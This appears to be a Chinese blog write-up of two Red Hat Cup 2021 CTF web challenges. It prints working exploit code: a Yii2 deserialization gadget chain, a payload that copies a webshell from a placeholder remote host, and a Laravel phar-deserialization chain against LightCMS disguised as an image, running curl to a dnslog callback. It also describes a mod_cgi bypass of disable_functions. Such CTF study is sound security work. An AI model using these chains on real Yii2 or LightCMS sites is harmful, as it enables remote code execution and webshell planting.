CTF玩耍系列[3] - [红帽杯2021] WEB2 && WEB4

昨天被我亲爱的小杰杰和师弟拉去玩耍了一波红帽杯。。来写下wp做个小记录。

这次还是只解出来一题WEB2,,老废物了。。。。

最近没咋更博客。。因为文章都发到安全客上混点零花钱用了。。。= =


WEB2 - Yii2反序列化

这道题主要考察两个东西吧:Yii2反序列的链子 及 Apache mod_cgi bypass disable_functions


首先找入口点,比赛平台给的控制器为 /controllers/SiteController.php

找到反序列化的入口点 actionAbout()

1
2
3
4
5
public function actionAbout($message = 'Hello')
{
$data = base64_decode($message);
unserialize($data);
}

如果不清楚路由的,看到页面上的 “About” 按钮,点过去就是了。


反序列化POC,这里就不细细分析了,详情可以看看下面这些文章:

https://mp.weixin.qq.com/s/S3Un1EM-cftFXr8hxG4qfA

https://mp.weixin.qq.com/s/KCGGMBxmW5LSIey5nN7BDg

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php
namespace yii\rest{
class CreateAction{
public $checkAccess;
public $id;

public function __construct(){
//执行的函数
$this->checkAccess = 'phpinfo';
//函数参数
$this->id = '999';
}
}
}

namespace Faker{
use yii\rest\CreateAction;

class Generator{
protected $formatters;

public function __construct(){
$this->formatters['close'] = [new CreateAction(), 'run'];
}
}
}

namespace yii\db{
use Faker\Generator;

class BatchQueryResult{
private $_dataReader;

public function __construct(){
$this->_dataReader = new Generator;
}
}
}
namespace{
echo base64_encode(serialize(new yii\db\BatchQueryResult));
}

通过该POC,得到 disable_functions ,这里注意下,由于有 disable_functions。所以在 poc上无脑冲命令执行的将会得到报错回显。。。这可不是反序列化链子错了。。而是函数被禁用了。。


disable_functions内容:

1
pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,dl,mail,putenv,error_log,error_reporting,unset,unlink,return

经过了多次测试后,得到这玩意有两个坑:

  1. 使用 assert(eval()) 形式执行命令时,注意 eval 里的语句最后要手动加个 die(),不然会使得程序继续执行而报错
  2. 直接写shell,该程序会自动将文件内 $ 后面的字符全部删去,导致无法直接写shell,但可以通过 php 的 copy 函数从 vps 上把shell扒拉下来

修改POC:

1
2
3
4
......
//这里的Web目录可以根据前面的 phpinfo 得知
$this->id = 'eval(\'var_dump(copy("https://xxx.com/11.txt","/var/www/html/web/122.php"));die();\');';
......

上shell后,在 / 目录下发现 readflag 文件。查看权限发现是 003 是 wx 权限,没r权限。说明我们需要执行这个文件才能获取 flag。


由于 putenv 被禁用了我们不可能使用 LD_PRELOAD 来 Bypass disable_function 。通过查看 apache配置文件可知,.htaccess 开着,并且mod_cgi 也开着。想到也许能通过 .htaccess来指定加载另外一个 php.ini。本以为是史无前例的发现,百度了才发现原来是人尽皆知的东西。。。。==


httpd.conf

1
2
3
4
5
6
7
8
LoadModule cgi_module modules/mod_cgi.so
......

<Directory "/var/www/html/web/">
AllowOverride All
# Allow open access:
Require all granted
</Directory>

我们可以使用 Apache Mod CGI 来 bypass,图省事直接用蚁剑插件。。这里挖个坑,过段时间没事干了去研究下 bypass disable_functions 的原理。。翻找文章的时候发现了 一篇文 感觉写的还可以。


WEB4 - LightCMS 0day

参考原文

LightCMS 是基于 Laravel 框架的一个CMS。目前的最新版 v1.3.7 基于 Laravel 6.x 开发,PHP>=7.2。

挖掘思路:

  1. 搜索得到 LightCMS 的历史漏洞 RCE in “catchImage”‘ (CVE-2021-27112)
  2. 得知LightCMS可以上传远程文件
  3. 解析远程文件时存在文件函数,PHP<8 可触发 phar 反序列化
  4. 在 phpggc 中有 Laravel 6.x 的链子

按着这个思路,我们重点调试上传远程文件时的代码即可。(这些都是后面看了wp才得出的结论==,当时根本没有想到 Phar反序列化和 文件上传结合起来。。。果然还是太菜了)

补充点 Laravel 的知识

由于之前没怎么摸过 Laravel,这里提一点 Laravel的基本知识,有助于理解这个漏洞

路由、控制器

路由文件位置: /routes

控制器文件位置:**/app/Http/Controllers**

/app/Http 目录结构:

路由

路由文件会被 App\Providers\RouteServiceProvider 自动加载。可以在该文件中添加路由文件。格式如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
public function map()
{
//api 和 web 是默认就有的
$this->mapApiRoutes();
$this->mapWebRoutes();
//admin 和 member 是 LightCMS 自己加的
$this->mapAdminRoutes();
$this->mapMemberRoutes();
}

//需要写对应路由文件的路由
protected function mapAdminRoutes()
{
Route::prefix('admin')
->middleware('web')
//路由文件对应的模块位置
->namespace($this->namespace . '\Admin')
//路由文件位置
->group(base_path('routes/admin.php'));
}
......

知道了有哪些路由文件被加载后,我们直接看对应的路由文件 (routes/admin.php),格式如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Route::group(
[
'as' => 'admin::',
],
function () {
.....
Route::middleware('log:admin', 'auth:admin', 'authorization:admin')->group(function () {
//1. POST请求才会执行该路由
//2. 路由 url 格式为 /neditor/serve/。{type} 表示参数
//3. NEditorController@serve 对应 /app/Http/Controllers/Admin/NEditorController.php 的 serve() 方法
Route::post('/neditor/serve/{type}', 'NEditorController@serve')->name('neditor.serve');
});
......
}
)

综上可知发送 POST格式的 admin/neditor/serve/xxx 会被路由到 /app/Http/Controllers/Admin/NEditorController.phpserve()方法。这个php文件就是开发者自己写的处理业务逻辑的文件了

查看 serve()方法

1
2
3
4
5
6
7
8
9
10
11
12
13
//这里的 $type 对应路由中定义的参数 {type}
//即发送请求 admin/neditor/serve/xxx 时,$type值为 xxx
public function serve(Request $request, $type)
{
if (!method_exists(self::class, $type)) {
return [
'code' => 1,
'msg' => '未知操作'
];
}
//根据传入$type调用本类同名方法
return call_user_func(self::class . '::' . $type, $request);
}

漏洞逻辑

根据 CVE-2021-27112 的漏洞点,定位到 NEditorController.phpcatchImage()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
public function catchImage(Request $request)
{
$files = array_unique((array) $request->post('file'));
$urls = [];
foreach ($files as $v) {

//解析$_POST['file'],进行远程文件拉取
//!! 重点跟进该方法 !!
$image = $this->fetchImageFile($v);
//!! 重点跟进该方法 !!

//CVE-2021-27112补丁,校验远程文件合法性
if (!$image || !$image['extension'] || !$this->isAllowedImageType($image['extension'])) {
continue;
}

$path = date('Ym') . '/' . md5($v) . '.' . $image['extension'];
//保存文件
Storage::disk(config('light.neditor.disk'))
->put($path, $image['data']);

//返回保存文件路径
$urls[] = [
'url' => Storage::disk(config('light.neditor.disk'))->url($path),
'source' => $v,
'state' => 'SUCCESS'
];
}

return [
'list' => $urls
];
}

跟进 fetchImageFile() 方法。该方法可简化成如下代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
protected function fetchImageFile($url)
{
//拉取远程文件
$ch = curl_init();
$options = [
CURLOPT_URL => $url,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_USERAGENT => 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.2 (KHTML, like Gecko) Chrome/22.0.1216.0 Safari/537.2'
];
curl_setopt_array($ch, $options);
//$data为远程文件内容
$data = curl_exec($ch);
curl_close($ch);

// !!重点方法!!
$image = Image::make($data);
// !!重点方法!!

//获取文件的MIME类型
$mime = $image->mime();
return [
'extension' => $extension ?? ($mime ? strtolower(explode('/', $mime)[1]) : ''),
'data' => $data
];
}

Image 是一个 Facade。具体的 Facade逻辑可以暂时不用理会,只需知道 Facade 的 __callStatic() 有一段代码 $instance->$method(...$args); 即可。

Image::make() 最终调用了 Intervention\Image\ImageManager make() 方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
Intervention\Image\ImageManager
public function make($data)
{
//createDriver()将实例化Intervention\Image\Gd\Driver类并返回
return $this->createDriver()->init($data);
}

====================
Intervention\Image\Gd\Driver extends \Intervention\Image\AbstractDriver
public function __construct(Decoder $decoder = null, Encoder $encoder = null)
{
....
//执行完这个 __construct() 后,会自动执行抽象父类 AbstractDriver 的 init()方法
//具体好像是PHP的某个机制使得其会自动调用init()。还没深究
$this->decoder = $decoder ? $decoder : new Decoder;
$this->encoder = $encoder ? $encoder : new Encoder;
}

====================
Intervention\Image\AbstractDriver
public function init($data)
{
return $this->decoder->init($data);
}

====================
Intervention\Image\AbstractDecoder
public function init($data)
{
$this->data = $data;
//根据远程文件的内容,执行不一样的方法
switch (true) {
.....
//上传文件是图片(二进制数据),则为true
case $this->isBinary():
return $this->initFromBinary($this->data);
//若文件内容是一串url,则为true
case $this->isUrl():
return $this->initFromUrl($this->data);
}
}

这个switch派生了这个漏洞需要利用的两个分支:phar反序列化的点 及 上传phar文件的点。

phar反序列化

进入 case $this->isUrl()分支,跟进 $this->initFromUrl()

1
2
3
4
5
6
7
8
9
10
11
public function initFromUrl($url)
{
......
//!!重点方法!!
//$url可控,为远程文件内容。若指定为一个phar文件即可触发反序列化
if ($data = @file_get_contents($url, false, $context)) {
return $this->initFromBinary($data);
}
//!!重点方法!!
......
}

上传phar文件

进入 case $this->isBinary()分支,跟进 $this->initFromBinary()

1
2
3
4
5
6
7
8
9
10
public function initFromBinary($binary)
{
$resource = @imagecreatefromstring($binary);
$image = $this->initFromGdResource($resource);
//获取文件MIME类型
//CVE-2021-27112的补丁就是根据这里获取的文件头作为MIME类型来限制后缀,导致我们只能保存图片类型的后缀
//不过文件后缀和文件头对phar文件没有影响,只要内容格式正确即可
$image->mime = finfo_buffer(finfo_open(FILEINFO_MIME_TYPE), $binary);
return $image;
}

综上分析,我们可以得出这样一个利用链:首先上传一个文件头是图片类型的phar文件,phar文件内容为 phpggc 中laravel6.x的反序列化链。获取到phar文件上传路径后,然后再上传一个“URL文件”,内容为phar路径的文件。即可触发phar反序列化

POC编写

按照正常逻辑,我们的POC如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
<?php
//链子从phpggc扒拉下来的
namespace Illuminate\Broadcasting
{
class PendingBroadcast
{
protected $events;
protected $event;

public function __construct($function, $parameter)
{
$this->events = new \Illuminate\Bus\Dispatcher($function);
$this->event = new \Illuminate\Queue\CallQueuedClosure($parameter);
}
}
}

namespace Illuminate\Bus
{
class Dispatcher
{
protected $queueResolver;

public function __construct($function)
{
$this->queueResolver = $function;

}
}
}

namespace Illuminate\Queue
{
class CallQueuedClosure
{
protected $connection;

public function __construct($parameter)
{
$this->connection = $parameter;
}
}
}

namespace{
$o = new \Illuminate\Broadcasting\PendingBroadcast('system','curl xxx1.8ogfme.dnslog.cn');
$phar = new Phar('phar.phar');
//设置GIF文件头
$phar -> setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");
$phar -> addFromString('test.txt','test');
$phar -> setMetadata($o);
$phar -> stopBuffering();
rename('phar.phar','phar.jpg');
}

?>

使用 xxd 查看文件结构:

请求如下:

然后。。。就报错了。。。由于下载远程图片时使用了 imagecreatefromstring()。而我们的 phar.jpg 不是一个正规的图片,导致该方法无法正常生成图片,遂报错。。。

解决办法也挺简单,只需要在文件中存在有 <?php __HALT_COMPILER(); ?> 即可。哪怕它位于文件的末尾也是可行的。

1
2
3
4
5
6
7
8
9
10
11
12
......
namespace{
$o = new \Illuminate\Broadcasting\PendingBroadcast('system','curl xxx1.8ogfme.dnslog.cn');
$phar = new Phar('phar.phar');
//在文件头处放一个正常图片即可
$f = file_get_contents("222222.png");
$phar -> setStub($f."<?php __HALT_COMPILER(); ?>");
$phar -> addFromString('test.txt','test');
$phar -> setMetadata($o);
$phar -> stopBuffering();
rename('phar.phar','phar.jpg');
}

程序成功返回上传文件路径:

根据文件路径构造 “URL文件” 的内容:

此时再次请求,成功执行命令: